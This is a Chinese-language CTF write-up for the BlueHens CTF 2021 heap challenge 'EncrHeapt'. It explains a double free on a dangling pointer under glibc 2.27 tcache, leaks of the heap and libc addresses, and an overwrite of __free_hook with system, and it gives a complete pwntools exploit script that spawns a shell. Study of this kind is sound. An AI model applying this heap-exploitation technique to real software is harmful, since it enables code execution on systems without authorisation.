BlueHens CTF 2021 --- EncrHeapt writeup
看名字应该是道堆题,ida分析一下,主函数是这样的:
主要功能就是encrypt,和decrypt
那看下encrypt函数:
就是申请一个堆块然后写数据,再把数据和输入的key值异或一下存储在堆块上
再分析下decrypt函数:
会把堆块的内容逐个与key异或后,打印出来,也就是说具有show的功能。
重点是释放v2后没有置空,形成悬浮指针,题目采用的是glibc-2.27,具有tcache机制
思路就是在free_hook写system地址,那就需要知道libc基址,
我想就先绕过tcache机制从unsorted bin 拿libc地址,这样我就要写tcache结构体,那我就得知道heap地址
思路就是这样的,具体看利用过程吧
拿到tacche结构体,然后我们编辑tcache bin这个链表上的chunk数目,当然这是一个假的数目,这样堆管理器就会误以为tcache bin已经满了:
encrypt(1,1,0x20,'a'*0x10) decrypt(1)#double free decrypt(1) decrypt(1)#leak heap address sh.recvuntil("content: ") addr="" for i in range(6):addr+=chr(ord(sh.recv(1))^1) heap_base=u64(addr+"\x00\x00")-0x2a0 info(hex(heap_base)) encrypt(1,1,0x20,'\x11'+chr(p64(heap_base)[1]+1)) encrypt(1,1,0x20,'aaaa') encrypt(1,1,0x20,'\x01'*8+"\x06")#get tcache_struct
接着泄露libc地址:
#这里藏一个tcache chunk 目的,等下拿到它,它这个chunk上虽然没有libc地址 #但是下一个chunk上有libc地址,等下利用堆溢出覆盖掉中间相隔的\x00, #就可以顺利利用printf(%s,addr)的机会拿到libc地址 encrypt(1,1,0x30,'aaaa') decrypt(1) encrypt(2,1,0x90,b'b'*0x10) encrypt(1,1,0x40,'bbbb') #这个chunk的目的是防止unsorted chunk和 top chunk合并 decrypt(2) encrypt(1,1,0x30,'a'*0x40) decrypt(1)#leak libc address sh.recvuntil("content: "+'a'*0x40) libc_base=u64(sh.recv(6)+b"\x00\x00")-0x60-libc.sym['main_arena'] free_hook=libc_base+libc.sym['__free_hook'] sys=libc_base+libc.sym['system'] info(hex(libc_base)) info(hex(free_hook))
拿到libc地址后,利用double free,在free_hook上写system地址就可以了
完整的利用脚本是这样的:
from pwn import * context.log_level="debug" #sh=gdb.debug("./EncrHeapt") sh=process("./EncrHeapt") #sh=remote("challenges.ctfd.io",30028) libc=ELF("/glibc/2.27/64/lib/libc.so.6") def encrypt(thing,key,size,data): sh.sendlineafter("3. Exit","1") sh.sendlineafter("(1|2)??: ",str(thing)) sh.sendlineafter("key?:",str(key)) sh.sendlineafter("encrypt: ",str(size)) sh.sendlineafter("encrypt: ",data) def decrypt(thing): sh.sendlineafter("3. Exit","2") sh.sendlineafter("(1|2)??: ",str(thing)) encrypt(1,1,0x20,'a'*0x10) decrypt(1)#double free decrypt(1) decrypt(1)#leak heap address sh.recvuntil("content: ") addr="" for i in range(6):addr+=chr(ord(sh.recv(1))^1) heap_base=u64(addr+"\x00\x00")-0x2a0 info(hex(heap_base)) encrypt(1,1,0x20,'\x11'+chr(p64(heap_base)[1]+1)) encrypt(1,1,0x20,'aaaa') encrypt(1,1,0x20,'\x01'*8+"\x06")#get tcache_struct #这里藏一个tcache chunk 目的,等下拿到它,它这个chunk上虽然没有libc地址 #但是下一个chunk上有libc地址,等下利用堆溢出覆盖掉中间相隔的\x00, #就可以顺利利用printf(%s,addr)的机会拿到libc地址 encrypt(1,1,0x30,'aaaa') decrypt(1) encrypt(2,1,0x90,b'b'*0x10) encrypt(1,1,0x40,'bbbb') #这个chunk的目的是防止unsorted chunk和 top chunk合并 decrypt(2) encrypt(1,1,0x30,'a'*0x40) decrypt(1)#leak libc address sh.recvuntil("content: "+'a'*0x40) libc_base=u64(sh.recv(6)+b"\x00\x00")-0x60-libc.sym['main_arena'] free_hook=libc_base+libc.sym['__free_hook'] sys=libc_base+libc.sym['system'] info(hex(libc_base)) info(hex(free_hook)) decrypt(1) payload="" for i in range(6): payload+=chr((p64(free_hook)[i])^1) encrypt(1,1,0x30,payload+"\x01\x01") payload="" for i in range(8): payload+=chr(((b"/bin/sh\x00")[i])^1) encrypt(1,1,0x30,"/bin/sh\x00") payload="" for i in range(6): payload+=chr((p64(sys)[i])^1) encrypt(2,1,0x30,payload+"\x01\x01") decrypt(1) sh.interactive()